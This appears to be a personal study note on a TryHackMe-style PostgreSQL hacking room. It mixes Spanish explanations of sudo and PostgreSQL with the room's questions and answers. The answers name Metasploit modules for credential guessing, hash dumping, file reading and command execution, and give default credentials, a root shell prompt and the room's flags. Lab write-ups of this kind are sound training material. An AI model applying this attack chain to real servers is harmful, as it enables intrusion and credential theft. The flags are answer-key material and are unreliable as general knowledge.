Por ejemplo, si quisieras instalar un paquete de software en un sistema Linux, podrías usar el comando "sudo -s" para abrir una sesión de shell de superusuario y luego ejecutar el comando de instalación del paquete. Esto te permite realizar cambios en el sistema que de otra manera podrían estar restringidos para un usuario normal.
Es importante tener en cuenta que el comando "sudo -s" debe utilizarse con precaución, ya que los cambios realizados como superusuario pueden tener consecuencias graves si no se realizan correctamente. Por lo tanto, es importante asegurarse de comprender los comandos que se van a ejecutar antes de utilizar "sudo -s".
alison@ubuntu:/var/www/html$ sudo su
sudo su
root@ubuntu:/var/www/html# :)
:)What is the rdbms installed on the server?
PostgreSQL
What port is the rdbms running on?
5432
PostgreSQL es un sistema de gestión de bases de datos relacionales de código abierto y de alto rendimiento. Es muy versátil y se puede utilizar en una amplia gama de aplicaciones, desde bases de datos simples hasta sistemas de gestión empresariales complejos.
Un ejemplo de uso de PostgreSQL podría ser una base de datos para una pequeña empresa de venta de productos en línea. Podríamos tener una tabla de productos con columnas como ID de producto, nombre del producto, precio y descripción. También podríamos tener una tabla de clientes con columnas como ID de cliente, nombre, dirección de correo electrónico y dirección de envío. Podríamos relacionar estas tablas mediante una tabla de pedidos, que tendría una columna con el ID del producto y otra con el ID del cliente. De esta manera, podríamos rastrear qué productos han sido pedidos por qué clientes y en qué momento.
PostgreSQL también ofrece una amplia variedad de características avanzadas, como índices, vistas y procedimientos almacenados, que permiten a los usuarios realizar consultas y manipular datos de manera más eficiente y flexible.
Metasploit contains a variety of modules that can be used to enumerate in multiple rdbms, making it easy to gather valuable information.
Completed
After starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)?
auxiliary/scanner/postgres/postgres_login
What are the credentials you found?
example: user:password
postgres:password
What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?
auxiliary/admin/postgres/postgres_sql
Based on the results of #6, what is the rdbms version installed on the server?
9.5.21
What is the full path of the module that allows for dumping user hashes (starting with auxiliary)?
auxiliary/scanner/postgres/postgres_hashdump
How many user hashes does the module dump?
6
What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?
auxiliary/admin/postgres/postgres_readfile
What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
Compromise the machine and locate user.txt
Change table name for the exploit mentioned above.
THM{postgresql_fa1l_conf1gurat1on}
Escalate privileges and obtain root.txt
THM{c0ngrats_for_read_the_f1le_w1th_credent1als}
[[Advent of Cyber 2022]]